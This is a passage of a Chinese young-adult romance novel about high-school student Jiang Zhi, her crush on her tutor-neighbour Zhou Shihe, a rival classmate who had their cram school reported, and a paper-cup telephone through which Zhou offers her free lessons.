姜至知道她不问出来不罢休,便随便找个借口:“哎呀,就补课烦呗,马上又高三了,万一考不上本科怎么办?”
徐非云愣了下,随后很认真地盯着姜至看几秒,问:“姜至,你怎么那么没有自知之明?为了考本科失眠?别失眠了,你肯定考不上,你做梦呢?”
姜至:“……你好讨厌。”
徐非云才不会说什么漂亮话哄人呢,“我说真的,你如果因为担心考不考得上本科失眠真没必要,到时候既考不上本科又失眠,两头亏。”
姜至:“知道了知道了。”
徐非云确定姜至没什么心理精神问题才放心地开始问东问西,“想好学什么专业没?”
姜至说没有。
“城市呢?”
姜至说没有。
徐非云沉默了下,“净想没用的东西去了?”
“……”
姜至已经没有力气敷衍她了,扯唇冲她笑了下拉倒。
徐非云把人逗急眼了才仰着头乐两声,搂住姜至说:“抽空想想吧还是,你以后肯定是要考公考编的,所以我劝你多研究研究城市,等以后工作了自己挣钱想出去可没那么容易了。”
姜至闻声眼眸敛了敛,什么也没说。
两个人一打岔,吧台点单的人不知何时排起了队,徐非云一看人那么多,又不想喝了,便拉着姜至出去。
出门后,徐非云直奔周识鹤和邓丽的摊位。
姜至莫名有点尴尬,犹豫了下,跟徐非云说:“你去吧,我给你排队买饮料。”
徐非云:“你不买?”
姜至含糊其辞:“你先去看。”
徐非云“哦”一声,也没多想,直奔摊位过去。
要说这东西织得还真挺精致,只是老板看着有些艰难,徐非云起了怜心,笑着问:“阿姨,这怎么卖啊?”
邓丽说:“大的十五,小的十块。”
卖得不贵。
这东西徐非云以前在景区也见过,有些能卖到二三十一个,稍大的复杂的卖四五十也有可能。
弯着腰有点累,徐非云干脆蹲着挑。
这时旁边石膏摊位凑过来一个女生说:“可以挑那个,我们这边有跟那个一模一样的石膏,搭配着拍照还挺有意思的。”
徐非云闻声扭头去看,发现这织品摊位确实有不少东西跟旁边石膏摊位东西一模一样,再仔细看,涂石膏的客人有一大半都买了织品。
捆绑销售啊这是。
“你们一家的啊。”徐非云随口问。
那女生笑着说:“不是,这不是也算邻居嘛,相互照应着。”
这石膏摊位可不需要照应,徐非云上学的时候他们就在这摆了,听大人说很赚钱的。
徐非云心里了然,笑了笑说:“先买个小的玩玩,有空再去你家消费啊。”
那女生半点没有旁人赚钱她没赚的失落,“好啊,她这东西织得都好,卖得可好了。”
徐非云按照喜好挑了一个大的,她还想给姜至挑一个,挑来挑去没挑到合适的,想着随便拿一个兔子什么的,眼前忽然伸过来一只手,手里是一个红色的小福袋,鼓鼓的肚子那处还有一个黄色的福字,收口处系了一条黄色的蝴蝶结,看着精致又漂亮,寓意也非常好。
徐非云眼睛一亮,看向这人,“还有存货啊?”
徐非云推断他应该是老板
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的儿子或者什么亲属,她伸手接过,问:“还有别的吗?”
“没有什么太特别的。”他说。
“好吧,那就这个,这个好。”徐非云爽快地把钱付了,正要起身离开,这人又开了口。
“那个口可以打开,里面可以放东西。”
“好。”
徐非云起身回头看一眼,见姜至还在对面店里,她时不时往这边看一眼,徐非云跟她挥手,姜至却假装没看见地扭开了头。
“?”徐非云快步走进去,质问她,“怎么不理我?”
姜至装傻,“啊?什么啊?”
徐非云狐疑地眯眼,姜至将无辜贯彻到底,徐非云也不确定了。
姜至假装若无其事地问:“你刚刚在跟他们说什么?”
“谁们?”徐非云问。
“就……那个摊的老板。”姜至说。
“哦,那个啊,我跟她儿子说话呢。”徐非云说。
“说什么?”姜至问。
“本来想随便给你挑一个,他不知从哪找出来一个老可爱的小福袋,算你命好。”说着徐非云把东西塞给姜至。
姜至将那圆圆鼓鼓的福袋捏在手里,心里说不清是什么滋味,她反复捏几下福袋肚子,扭头看向外面。
这会儿周识鹤母子的摊位又去了新的客人,邓丽跟他们介绍,周识鹤忙着把包里的其他款式拿出来让他们挑选,看上去生意还挺好的。
姜至忽然有点想知道周识鹤那样口笨的人是怎么做生意的,她下意识迈起步伐就要往外走,下一秒忽然看见一个女生不知从何处跑向周识鹤。
周识鹤没注意到来人,女生笑着站在周识鹤身后,突然拍了一下周识鹤的肩膀,周识鹤偏头,只见女生微微欠身,歪着头跟他挥手。
这女生的头发很长,披散间能看见里面夹杂着几跟细的麻花,麻花其中一股是蓝色粉色的假发,看着很特别。
她耳朵戴了两个很大的银耳圈,随着她的动作,银耳圈在她脸颊处一晃一晃,头发顺着落在了周识鹤的肩头。
姜至脚步一停,认出来女生是补习班那个女生,叫宋今宜。
宋今宜跟周识鹤打完招呼就非常熟稔地蹲在地上,看上去是在给客人介绍。
姜至想,如果不是下午她出来贴单子,如果不是恰好徐非云找她出来玩,她是不会知道周识鹤每晚是在这里摆摊的。
但是宋今宜知道。
这时工作人员提醒他们的饮料好了,徐非云拿了之后问姜至:“还去哪儿?”
姜至收回目光,把福袋装进饮品袋子里,低声说:“随便转转吧。”
二人推开门出去,谁也没有再往对面去。
姜至连余光都不想再分过去一点,自然也没看见身后周识鹤一直盯到她背影消失,才收回目光。
“你看谁呢?”宋今宜在周识鹤身旁站着,她垫着脚,为了让自己站稳点,手搭在了周识鹤肩膀上。
周识鹤微微蹙眉,微微侧身躲开。
宋今宜察觉到,看着周识鹤微微笑,“你说周末有事,就是这事?”
周识鹤“嗯”一声,没看宋今宜,低头看摊上的东西。
宋今宜顺着看过去,双手背后说:“看在都是同学的份上,你不送我一个吗?”
周识鹤很冷漠,“大的十五,小的十块。”
宋今宜“啧”了一声,“那我全买完,你打个折怎么样?”
周识鹤闻声看向宋今宜,他脸上没有不悦,更没有怒色,只有更甚的冷漠,“不用。”
宋今宜:“那我请你给我进行补课怎么样,一对一,周末每天一个小时就够了,一般价位在一百五,我给你三百。”
“忙不过来。”周识鹤说。
“你忙什么?就忙这个?”宋今宜口气很随意。
周识鹤看了她一眼,“是的,就忙这个。”
“我说了,我可以全买了,”宋今宜说,“以后你们做多少我都可以买。”
周识鹤再次重复:“不用了。”
宋今宜有点不高兴了,她拉下脸,转身走了,走出去两步,又折返回来,看着周识鹤说:“你过来一下。”
周识鹤本想不予理会,但想到宋今宜的性格,觉得这样无视不是办法,于是便跟宋今宜过去。
宋今宜很直接,“我不跟你绕弯子了,我对你很感兴趣,或者说,我喜欢你。”
周识鹤也很了当,“我不喜欢你。”
“那你喜欢谁?”宋今宜问。
周识鹤懒得跟她多说,“跟你没关系。”
他转身要走,宋今宜却说:“是姜至吗?”
周识鹤脚步一顿,扭头看她。
宋今宜本来只是瞎猜,见状很是意外地挑眉,“真是她?”
她笑了下,“听说她成绩一般,看来你不是那种自恃清高的人,我还以为你是因为我成绩差不喜欢我呢。挺好,我更喜欢你了。”
周识鹤仍旧没什么表情,只是少年面庞线条明显,木着脸时总显得有些攻击力。
宋今宜却完全不怕,她看上去也不怎么在乎,像参与什么八卦一样问:“她喜欢你吗?”
周识鹤自己都没注意到,他的眉头轻微蹙了蹙。
宋今宜笑着抱肩,很是松弛,“看来不喜欢。挺好,那不如看看我们俩谁先得到自己喜欢的人吧。”
说完宋今宜也不等周识鹤发表什么,冲他扬扬眉,手像猫爪一样抓了抓,“拜。”
周识鹤看着宋今宜离开的方向,脑海里闪过的却是姜至的背影。
他再次蹙了蹙眉。
21.怪不得
姜至后来再跟徐非云闲逛就没了什么心思,到家她先把小福袋和胡萝卜以及红色小马一同装进抽屉里。
两天周末就那么过去了,想到明天一早就要再踏进那个补习班,姜至想退学的心都有了。
她已经不想再见到周识鹤了,更不想再见到宋今宜。
她甚至想明年高三转进地乙班得了。
姜至越想越上头,甚至想起从前周识鹤跟她说的话,他让她不用太关注天甲班的节奏,顾好自己的基础比较重要。
话外之音其实就是她不适合天甲班吧。
想到这里,姜至旋即起身去客厅。
林淑此刻在洗澡,姜先舟不知在跟谁打电话,表情蛮严肃的。
姜至只好在一旁老实坐着,姜先舟看了她一眼,起身去了院里,估计是什么工作电话,姜至也没多想,继续在客厅坐着等林淑。
然而林淑没等到,等到了姜先舟挂掉电话进来。
“怎么还不睡?”姜先舟问。
姜至扣扣手,不知道该怎么开口,她知道姜先舟不会追问她原因,但是林淑一定会打破砂锅问到底,说不定还会以为她在补习班受了什么人欺负,明天一早大刀阔斧地冲进补习班。
她不想这样。
姜至犹豫了下,说:“还不困。”
姜先舟闻言笑了笑,坐过去说:“想看电视?”
姜至摇头,她一向对电视什么不感兴趣。
说起来,姜先舟对这个女儿的爱好是不算了解的,他只知道女儿乖巧,妻子用心,只是母女二人常因学习成绩闹成绩,所以所有但凡会影响成绩的娱乐项目,他都认为是母不让女看,不是女不想看。
于是姜先舟拿起遥控器,打开电视机说:“没事,看吧,反正明天也不补课。”
姜至本来还想说她真的不看呢,结果听到姜先舟的话愣了下,“什么?”
姜先舟笑:“怎么样,开心不?”
姜至只有懵:“为什么?”
姜先舟叹气说:“不知道谁举报了,这两年补习班管得严,估计今年一整个暑假都不用想着补习了。”
姜至很想骂自己是个没出息的。
因为在这种时刻,她脑海里的第一想法居然是:周识鹤失业了。
他那样的情况,应该每一笔钱都很重要,如今不知道谁一句话,就这样轻飘飘的没了。
他现在知道了吗?又是怎么样的心情?
姜至心神不静地回了自己屋。
第二天一大早,徐非云就满身汗地往姜至家里钻,她手里还拎了早饭,进门大大咧咧跟林淑和姜先舟打招呼,然后去厨房拿了一个盘子装手里的包子,随后又把早饭往餐桌上一放,问:“姜至还没起?不是说去补课吗?”
林淑说:“补什么啊还,不知道被谁举报了,你说现在的小孩真是的,这补课能是为了我们大人好吗?说到底还不是想让小孩多考两分?”
徐非云“害”了一声说:“你也说了,小孩嘛,小孩哪有大人知轻重。”
“我进去喊姜至。”徐非云说。
林淑说好,又问:“你去晨跑了啊?”
“对啊,我不是爱往外面跑吗,像西藏云南什么的海拔高,对身体素质还是有点要求的。”徐非云一边推姜至的门一边回答。
“真好啊,正好姜至这也不补课了,你没事带她一起得了。”林淑说。
“她那细胳膊细腿,我再给带出个营养不良,阿姨你不揍我啊?”徐非云开玩笑。
林淑一听这话愁得不行,“你说这小孩多讨厌,愣是吃不胖。”
徐非云笑着说:“挺好,长大不用吃减肥的苦了。”
俩人你一问我一答,姜至早被吵醒了,听见徐非云把房门关上了,她翻个身把被子罩头上。
徐非云也不催她,往凳子上一坐,摸摸这张试卷,翻翻那本册子,顺便再拉拉抽屉——抽屉的角落稳稳当当躺着三个手工品,其中一个徐非云一眼便认出是昨天她给姜至的,其他两个倒是没见过,甚至其中有一个还是挂件。
徐非云往旁边瞧,看见桌子旁的书包拉链口上有被挂件磨损过的痕迹。
徐非云挑了挑眉,什么也没说,动静很小地又关上了抽屉。
“你爸妈说你不补课了,一会儿干什么啊?”徐非云问姜至。
姜至含糊说:“不知道。躺着。”
“那多没意思。”徐非云说。
“太热了,没地方去。”姜至说。
徐非云:“我带你上网去。”
姜至:“……你疯了吧。”
徐非云笑两声,“我先回去,洗澡换衣服去,给你带了早饭,赶紧起床吃吧。”
“哦,好。”姜至有气无力的。
徐非云走后没几分钟,姜至就起床了,她没什么胃口,早饭没吃多少。
林淑见状让她以后没事早上跟徐非云一起去溜达两圈,姜至摆摆手,说:“起不来。”
一般除了在学习上,林淑不会太强求姜至。
她这么说,林淑便也没再提。
中午十一点半,徐非云过来找姜至,手里还拎了一条鱼,说是她爷爷去钓的。
林淑刚下班,听了很震惊,“你爷爷什么时候开始钓鱼了?”
徐非云说:“才染上的恶习,晒得跟巧克力似的。”
姜至听了笑半天。
林淑问姜至:“中午就吃这个?”
姜至说好。
林淑又说:“非云也在这吃得了。”
徐非云“嘿嘿”一笑说:“就是来蹭饭的,空着手来不好意思。”
林淑:“跟我还瞎客气。”
鱼这种东西只能拿到菜市场上去处理,林淑本来想等姜先舟下班了去弄,结果等半天也没见姜先舟回来,只好吩咐姜至和徐非云去。
出门前,林淑大喊着:“打伞。”
姜至只好又跑回家里拿伞。
姜至前脚刚进屋,后脚徐非云就看到从门外进来一个人,徐非云知道这片家家户户都有租客,她本来没太在意,转念一想这是暑假,按理说租客应该都回家了才对,于是眯眼一看,才发现这人未免有点太眼熟。
他估计也是去买菜了,手里拎着两个袋子,看着有一小块肉,应该是猪肉。
两个人在这里见面,这人却半点没有惊讶和意外的表情。
姜至是个老实小孩,从小就是,也很善良,倘若这人只是普通租客,昨天姜至一定会主动凑到摊位前。
绝不是昨天那副避之不及的模样。
徐非云想着,这人来到她跟前。
徐非云冲他笑了笑,“嗨,那么巧。”
周识鹤“嗯”一声。
他没有要继续闲聊的意思,只简单跟徐非云打个招呼便往楼上去,徐非云看着他的背影,若有所思。
没两分钟,姜至拿着伞从屋里出来,徐非云笑眯眯地看着她,姜至狐疑地看她一眼,“干什么?”
徐非云一手拎鱼,另一只手搭在姜至肩上,“你猜我刚才见谁了?”
姜至随口问:“谁啊?”
徐非云
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说:“昨天那摊位老板的儿子。”
姜至脚步一顿。
徐非云掌心盖在姜至肩头,稍稍用力,“姜至,你搁这跟我玩心眼子哈?”
姜至:“……”
徐非云这人脾气上来了什么都说,向来不管场合在哪。
眼下还在自家院里,姜至忙不迭挽着人就往外跑。
俩人前脚跑出院门,后脚徐非云就斜眼看她,一副不交代就砍头的态度。
姜至急得头上的汗都出来了,“就,邻居。他是三楼的租客。”
徐非云淡淡,“我看见了。”
很明显,她需要姜至交代的不是这个。
姜至自然也明白,但是她抿了抿唇,实在张不开口说别的。
更重要的是,她跟周识鹤之间本来也没有明确地发生什么事情,她如果跟徐非云说她生气了,徐非云肯定会问为什么。
可是她有什么理直气壮的理由吗?
“那就是这个,不熟的邻居。”姜至眼睛盯着脚下,声音很低地说。
徐非云看了姜至一眼,猜想二人一定发生了些什么,姜至还是个小孩,在林淑的看管下,她对很多事情的敏锐度都不如同龄人,也许她自己也没想明白,自己正在经历什么。
徐非云叹了口气,没说什么,只是在饭后回家前,跟姜至说:“避之不谈的,从来都不是不熟悉的人。
“大人都很精的,你要真想藏就藏好一点。”
姜至一下午都在翻来覆去地想徐非云说的这两句话,她不懂徐非云具体是在指些什么。
但是提及大人,她不免有些心慌。
-
傍晚时刻,霞光从远处缓步而来,姜至家的客厅一大半都被光临幸,她看了眼墙上的挂钟,准备起身回屋。
她还是没想好该怎么面对周识鹤。
然而她刚要起身,外面忽然传来推开门的动静。
近期家里除了周识鹤母子,和姜至自家人,也就徐非云爱往这边跑了。
姜至以为徐非云又来了,起身去迎接,哪知一开门,只见院里进来的居然是宋今宜。
宋今宜似乎本来也是想往她家这个方向过来的,只是没想到她率先打开了大门,宋今宜看见她很意外。
“你住这?”她问姜至。
随机又不知何意味地说一句:“怪不得。”
宋今宜今天穿的是学院风的格子裙,头上扎两个很青春活泼的马尾,她身条修长,双腿笔直,这样的外形条件,说实话很难让人移开目光。
姜至想,她是要承认自己有点嫉妒的小心思的,可她明白这心思并不是什么善举,毕竟宋今宜又做错了什么呢?
于是她只能小心翼翼地把所有情绪隐藏起来,强撑着温和地询问宋今宜:“有事吗?”
“周识鹤是住这院里吗?”宋今宜问。
姜至抿了下唇,回答:“是的。”
不等宋今宜再问下去,姜至直接说:“他在三楼。”
“好,谢谢你。”宋今宜笑盈盈的。
落日余晖照亮宋今宜的面庞和眼睛,她眼皮子上的眼影发着橙粉色的光,粼粼闪耀,晃红了姜至的眼睛。
姜至匆匆关上门,屋里很快便没了日光,院子里响起宋今宜小跑着上楼的脚步声,只是没几声便停了下来。
她出声:“嗨,好巧,这就要去出摊吗?”
姜至听到了周识鹤的声音。
“你来做什么?”
“来找你啊。”
姜至垂着眼睛,不想再听下去了。
22.收收心
姜至心里想着千万不要再听了,可腿脚却无论如何也迈不开。
她都快怀疑自己是不是自虐狂了。
“阿姨呢?今天就你自己吗?”外面宋今宜问。
姜至这才意识到,此刻楼梯里,只有宋今宜和周识鹤两个人。
她没忍住,挪着小步子到窗户前,往外看。
然而楼梯实在太靠那边,姜至根本看不见,她心里着急,恨不得把头从窗户伸出去。
“我以为我说得很清楚了。”周识鹤这时出声。
姜至忽然意识到周识鹤似乎从刚才那句口气就不太好,难道他跟宋今宜也吵架了吗?
姜至这下真的想伸出去看了。
“我听清楚了啊,”宋今宜声音上半点没听出来委屈的痕迹,她自顾自地问周识鹤,“你今天白天做什么了?”
周识鹤只说一句:“麻烦让开。”
姜至这下就算是再不长脑子也明白此刻的周识鹤是不太希望见到宋今宜了,她忍不住好奇原因,宋今宜漂亮又大方,这么看上去脾气也不错,倘若是周识鹤用这种态度跟她说话,想必她早就不敢再说第二句了。
“叮铃铃——”
家里的座机忽然响了,姜至不用出去都能感觉到周识鹤和宋今宜肯定正在双双往她这边看,她急忙去接电话,声音压得很低。
“喂。”
“你在干什么?”是徐非云。
姜至有点无语,“你在干什么?”
徐非云:“看戏。”
姜至:“什么?”
徐非云根本不理她,自顾自说:“我有一招,你改天记得请我吃饭,谢谢我。”
“什么啊?”姜至都听不明白。
然而下一秒,姜至忽然听到外面传来宋今宜的尖叫声。
姜至几乎立刻就挂断电话,跑了出去。
她推开门的一瞬间瞧见徐非云家里的那只小花猫正从楼梯缝隙里往她家院里钻,再看远处,周识鹤把宋今宜挡在了身后,宋今宜捂着胸口,一副惊魂未定的模样。
很快,周识鹤看了过来。
他一看到她似乎有些欲言又止,但最终什么也没说出口,只是微微侧身,跟宋今宜说:“你走吧,别再来找我了。”
宋今宜这会儿终于有了点脾气,她拧着眉看向周识鹤,“我实话跟你说了吧,补习班是我举报的,现在我花钱请你给我补课,你总不至于还不愿意吧?”
姜至惊了。
补习班居然是宋今宜举报的?
什么叫现在总不至于不愿意了?
周识鹤难道已经拒绝过宋今宜了吗?
按理说,现在什么事都没了,秉着礼貌,姜至也该回自己家了,可她愣是站着没动,目光直直地盯着周识鹤和宋今宜。
“嗨,不好意思。”隔壁墙头忽然冒出来一颗脑袋。
是徐非云!
姜至不可置信地瞪大眼睛,还没来得及说什么,就见徐非云笑着跟周识鹤说:“不好意思啊,刚刚我家猫好像到这边来了,它哪去了?”
周识鹤看了她一眼,“出去了。”
徐非云“哦”一声,随即吹了一个流畅的口哨,那小花猫忽地就不知从哪儿钻了出来,它居然还是原路返回的。
这下可又惊到了宋今宜。
周识鹤再次侧身将宋今宜挡在身后,小花猫飞快地跳到墙头上,又很快闪身不见,徐非云这才再次冲周识鹤笑笑说:“你们聊,打扰了啊。”
说着看向不远处的姜至,“姜至,没事来我家找我玩啊。”
姜至:“……”
姜至现在是真没脸再继续待着了。
她本想转身回屋,宋今宜却冲她笑了笑,姜至脚步一顿,还没做出反应,看到宋今宜又扭回头冲周识鹤笑了笑,“看在你这两次都有用心保护我的份上,我不为难你,给你时间考虑清楚。”
她说完就准备下楼梯离开,周识鹤却在这时开了口。
他似乎是看着宋今宜说的,可那目光姜至却总觉得是落在了她这里。
“我已经有学生了,不再考虑,你找别人吧。”周识鹤说。
姜至一怔。
所以这就是他刚刚看她那一眼的原因吗?
是想告诉她,他已经有了别的学生,以后很难再给她补课了。
他不仅拒绝了宋今宜,连同她一起,也拒绝了。
姜至眨了眨眼睛,在宋今宜还没说话时,先一步转身回了自己屋。
她直冲冲地拉开抽屉,想把那些福袋什么的全拿出来扔进垃圾桶,可是一连做了好几个抬手的动作,都滞留在空中。
最终也只是把这些东西全用力地丢在床上,坐在床沿边,低着头,任由眼泪决堤一般掉落在膝盖上。
姜至现在是真的动了高三转班的念头,唯一犹豫的点便是,她不知道该怎么跟林淑说。
晚上徐非云过来找姜至,姜至看见她就想起小花猫的事情,她忍了又忍,还是说出了口,“你是故意的?”
徐非云把苹果咬得咔嚓脆,“嗯哼。”
姜至皱眉,“你这样不好,你知不知道万一真的抓伤了她怎么办?”
“不会的,”徐非云说,“我家猫只抓男生,不抓女生,而且它爪子我刚剪过,针什么的也打得很齐全,我办事你放心。”
“那也不能……”姜至都不知道该怎么说才好,她一摆手,“算了!”
事情已经发生过了,她再说什么都是徒劳。
“怎么着,你crush移情别恋了?”徐非云说,“我听那对话也不像啊。”
姜至说:“你别胡说。”
徐非云“哦”一声,完全不把姜至的话当回事,继续说:“几天没说话了啊?”
姜至小声嘀咕:“忘了。”
徐非云点点头,“这住一起,按理说应该是低头不见抬头见的,既然忘了,看来有段时间了。”
姜至捂住耳朵,往床上一躺,再把被子一扯,盖在自己脸上。
徐非云笑了笑,拍拍姜至的腿说,“哎呀,这个年龄暗恋什么的很正常的,你这开始得都算晚的,人家都是初中暗恋,高中都谈上了。”
姜至哪敢想这事,猛地把被子掀开,很害怕她这种言论,“你别胡说了。”
徐非云哼笑,“你还知道害怕呢,我中午跟你说的那话,你怎么想的。”
姜至:“什么怎么想的。”
徐非云把苹果核往垃圾桶里一丢,抽张纸巾慢条斯理地擦擦手,姜至盯着她眼睛都不敢眨一下,生怕错过什么重要信息。
“我说了,大人很精的,”徐非云说,“如果你跟他从前是能说得上话的关系,突然冷战,被大人瞧见可不是什么好事。”
徐非云拿擦干净的手指点点姜至的脑门,“尤其是你妈。”
姜至这次把徐非云的话听进心里去了,晚上林淑回来后她一直琢磨着怎么才能不经意提起她近期和周识鹤不说话的原因,可林淑看上去一点都没在意她和周识鹤的变化,姜至又怕提了反倒显得心虚。
到最后也没说出半个字。
没了补习班,姜至在家就没那么轻松了,饭后林淑跟姜至说:“收收心,过两天就开始自己安排着写作业,开学就高三了,高三可不是什么好日子。”
姜至试探性地说:“是天甲班不好过吧。”
林淑:“都不好过,再说了,好过的高三能是什么好事吗?”
她说着瞥了眼姜至,“你收收你那小心思哈,我知道你跟天甲班的学生没法比,但是你自己什么成绩总知道,别开学了考得还不如期末考。”
这话一说,姜至彻底说不出什么了。
晚上姜至趴在床上焦虑不安,一会儿趴得像青蛙,一会儿趴得像鸽子,一会儿又躺在床上,身体呈现一个大字。
也不知道几点钟,窗户外面忽然传来轻微的动静。
姜至本来以为是风,没当回事,但是很快,那声音再次传来,姜至看过去,有点害怕,又有点好奇。
她家在一楼,如果碰见个小猫什么的,也不是没有可能。
于是姜至小心翼翼地坐到书桌前,家里开了空调,窗户始终是关着的,外面有什么,她看不太清楚,感觉好像是什么坠着的东西。
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鸟吗?
姜至又靠近一分,就差趴在窗户上看了。
她眯眼仔细看,隐约意识到这可能是一个一次性纸杯子,纸杯子怎么会在半空中坠着,姜至不理解地打开窗户,只见那杯子真的在空中悬着,杯底中间似乎穿的有一根管子,透明的软管子,她伸手拿过来,往下拽了拽,发现上面是有力量在控制的。
到底是什么东西啊?
姜至摸索了半天,把杯子正过来倒过来看了一遍,就在她准备丢出去的时候,忽然不知从哪传来一声闷闷的,“姜至,在吗?”
姜至吓一跳,四下回头,确定房间里只有她自己后,以为自己幻听了。
结果下一秒,又传来一声,“姜至,在吗?”
这……怎么好像是周识鹤的声音?
姜至猛地站起身,这一站,手里的杯子一同起伏,她目光瞬间落在这个杯子上,看了好几秒,才不可置信地把杯子放在自己耳朵上。
她试探性地说:“周、周识鹤?”
“是我。”周识鹤几乎立刻给了她回应。
姜至瞪了瞪眼睛,“这是……”
周识鹤说:“你就当是简易电话吧。”
姜至简直不敢相信,这种东西居然能当成电话用?
周识鹤在哪里?
三楼吗?
姜至这会儿已经忘记他们多久没说话了,只顾得上手里这个神奇玩意儿,“你自己做的吗?你在三楼吗?”
“是的。”周识鹤话又开始变得很少。
姜至沉默了下,逐渐找回思绪。
她忽然有点尴尬,又有点激动,心跳如鼓。
“是我自己做的。”周识鹤莫名其妙又补了一句。
姜至意识到他可能是在她回答她刚刚那个问题。
她坐在桌子前,垂着眼睛,搞不懂事情怎么发展成这样。
明明前几天她还很痛苦,甚至下午还在掉眼泪,现在忽然在自己最熟悉的环境里,跟周识鹤说上了话。
他好像还是主动的那一个。
姜至想起刚刚周识鹤说的每一句话,一字一句穿过手里的纸杯话筒传到她耳朵,那声音像是带着温度的,将姜至的耳朵一点点烧红烧烫。
她抿了抿唇,开口声音忍不住地有些发颤。
她问:“你这是在做什么?”
周识鹤那边静了两秒,很快说:“补课。”
“我说过会带你。”
姜至想起他跟宋今宜的话,“你说的那个学生……是我?”
“是的,”周识鹤说,“是你。”
姜至忽然一撇嘴,眼眶溢出满满的委屈。
她不好意思真的当着周识鹤的面哭,想把话筒往旁边拿开一点,可又怕错过周识鹤说什么,只能低垂着眼睛,把所有情绪压在喉咙口。
过了好一会儿,姜至才慢慢缓过来一点。
她深吸一口气,声音闷闷的,“怎么补?就这样吗?”
“明天上午你可以来三楼找我,白天光好,”周识鹤停顿了下,又说,“下午我还有别的人要带。”
姜至“哦”一声,想起自己之前跟邓丽说的那番话,她挠挠头,说:“你是怎么收费的啊,我要跟我爸妈说一下。”
“不用,”周识鹤说,“本来就是我答应你的。”
姜至“啊?”了一声。
周识鹤说:“早点睡吧,晚安,姜至。”
姜至拿着纸杯没说话,也没有要松手归还纸杯的意愿。
过了好一会儿,姜至听到周识鹤问,“你在做什么?”
姜至听着这句话,手指一下一下划拉桌面,没忍住,咧开嘴笑了。
这一刻,姜至过往所有积攒的不适全部烟消云散,什么补习班,什么宋今宜,她统统都不记得了。
她甚至在想,如果早有上帝告诉她此刻会经历如何令她欣喜的事情,那么之前的所有经历,她都会心甘情愿地选择承受。
至于周识鹤,他或许也苦恼过,或许他根本不知道她的情绪有过如此波折的起伏。
随便吧。
她原谅他啦。
23.再等等
姜至小时候家里有一台电脑,那个时候林淑还没进入现在的单位,需要学习的东西有很多,她每天熬夜在电脑上看各种学习视频,后来姜至上小学,同学之间开始流行玩Q/Q,姜至当时的同桌是一个男孩子,家里好像是开网吧的,他给姜至申请了一个Q/Q号。
后来上初中的时候,林淑有一次让姜至找个英文电影看,姜至看一半看到屏幕上有Q/Q的软件,就把自己的号登了上去。
林淑看到后质问她哪来的Q/Q,姜至说是同学帮忙申请的,林淑又问她跟同学还有没有联系,Q/Q上有几个人,姜至老老实实回答说没有联系,并且从未登过这个Q/Q。
林淑确定姜至没有撒谎后,把姜至的Q/Q号注销掉,第二天就把电脑卖了。
现在Q/Q已经成了身边人都有的账号,姜至却从未动过再创建的心思。
主要她也没有必须要在校外时间联络的朋友。
这是第一次,姜至在自己的房间,用面对面以外的方式,和旁人聊天。
她感受到了什么叫电视剧里的“电话粥”,也感受到了什么叫“二人世界”。
她声音低低的,问周识鹤晚上出去摆摊怎么没带阿姨。
周识鹤说:“隔壁摊老板有电动车,我过去之后骑电动车回来接的。”
姜至“哦”了一声:“你们很熟?”
周识鹤:“还可以,认识挺久了。”
姜至“嗯”一声,“你明天下午就要去补课吗?”
周识鹤说:“对。”
姜至想起之前在晚自习放学后,那个来找周识鹤的男生,“是我们学校的吗?”
“是的,”周识鹤说,“是高一的,这份助教工作也是他推荐的。”
“好吧,”
姜至想了想,还是问出那个很在意的问题,“那你薪资有变化吗?助教是不是挣得更多啊?”
“会多一点,”周识鹤说,“不过总的来看差不多,单独补课是要补到开学前一周的。”
姜至这才放下心来。
两个人短暂地沉默。
这次是姜至主动开口问:“我明天什么时候过去?”
周识鹤说:“八九点以后都可以,看你什么时候方便。”
“是带试卷吗?还是册子?”姜至问。
“先把期末考的试卷带过来吧,”周识鹤想了下,说,“先从数学?我看你数学这次六十多分,大题是不是都没做?”
姜至自己都不记得数学考了多少分,她有点高兴,又有点羞愧,毕竟周识鹤可是数学常年满分的人,她差点连他的零头都考不过。
“好像是吧,”姜至说,“大题第一题做了,第二题做了一半。”
周识鹤“嗯”一声说:“这次试卷难一些,高考的难度,你差不多能做出两题半。”
“好吧,”姜至说,“如果真的能做出来,我妈应该也不会太生气。”
周识鹤似乎笑了一下,“你自己不生气吗?”
姜至说:“我气什么?我本来一题也做不出来的,能做出来两题半我会笑好吗?”
周识鹤这次很明显地低低笑了两声。
姜至被他笑得有点不好意思,挠了挠头,声音里带着自己没注意的娇嗔,“笑什么啊?”
“没事,”周识鹤说,“很晚了,你要不要睡觉?”
姜至这才注意已经快十一点了,他们俩居然就这样说废话说了一个多小时。
姜至自己倒是没什么事,白天晚起一会儿,林淑也不会说什么,可周识鹤要照顾邓丽,上午要给她补课,下午又要给别人补课,晚上还要去摆摊,姜至瞬间很愧疚,连忙说:“睡吧睡吧,我们都睡。”
晚上的周识鹤似乎要比白天松散一些,他说一声:“好。”
声音比平时拉得要长一些,听上去像在伸懒腰。
他放松一些,姜至比他本人还要开心,“嗯嗯,晚安,周识鹤。”
说完她放下纸杯子,这才反应过来这不是电话也不是手机,她又连忙拿起来,“这个杯子怎么办啊?”
周识鹤说:“你放回去就好,我一会儿收上来。”
姜至有点不舍得,但又实在怕被林淑发现,只能恋恋不舍地说:“好吧。”
周识鹤“嗯”一声,说:“晚安,姜至。”
姜至咧着嘴,将纸杯子送出窗户,她看着那杯子在半空中被晚风吹得摇摇晃晃,很快被拽上去。
盯了好久,姜至才将手掌盖到自己耳朵上,她摸到耳朵温度滚烫,揉了又揉,才关上窗户往床上趴。本来趴得安安静静,十几秒,她猛地翻了个身,将被子盖过头顶,在被子里狂蹬腿。
晚上姜至难得又在梦中进入那个小房子,台阶仍然是那么多,可今天的天气格外好,姜至跑得很快,跑到顶层,爽利地推开门。
屋内周识鹤坐在桌子前,他身后是一扇窗,窗外是无数被吊着的白色纸杯子,远远看去,仿佛是别样的风铃。
周识鹤看着她,朝她笑了笑,姜至也笑。
好久好久,周识鹤说一句:“你来了。”
姜至重重地点头,“我来啦。”
她说:“我说过,我还会再来的。”
-
姜至是被徐非云吵醒的,她睁眼看到徐非云凑她跟前扮鬼脸,皱着脸企图要钻回被窝,被徐非云拽住说:“你妈喊你跟我一起出去遛弯。”
姜至脑子都是晕的,“什么啊,不去。”
徐非云“嘿嘿”一声,“去吧,咱俩去逛狗市。”
“狗市?”姜至来了点兴趣。
这个地方姜至听陶馨提过,据说不是单纯卖狗,是卖什么的都有,鸡鸭鱼鹅狗兔鸟,各种二手家具,甚至还有卖树的,每周固定时间营业,过了上午十点基本就散完了。
“现在几点?”姜至问。
“六点,一会儿咱俩去吃个早饭,到那差不多七点,回来你再睡呗。”徐非云说。
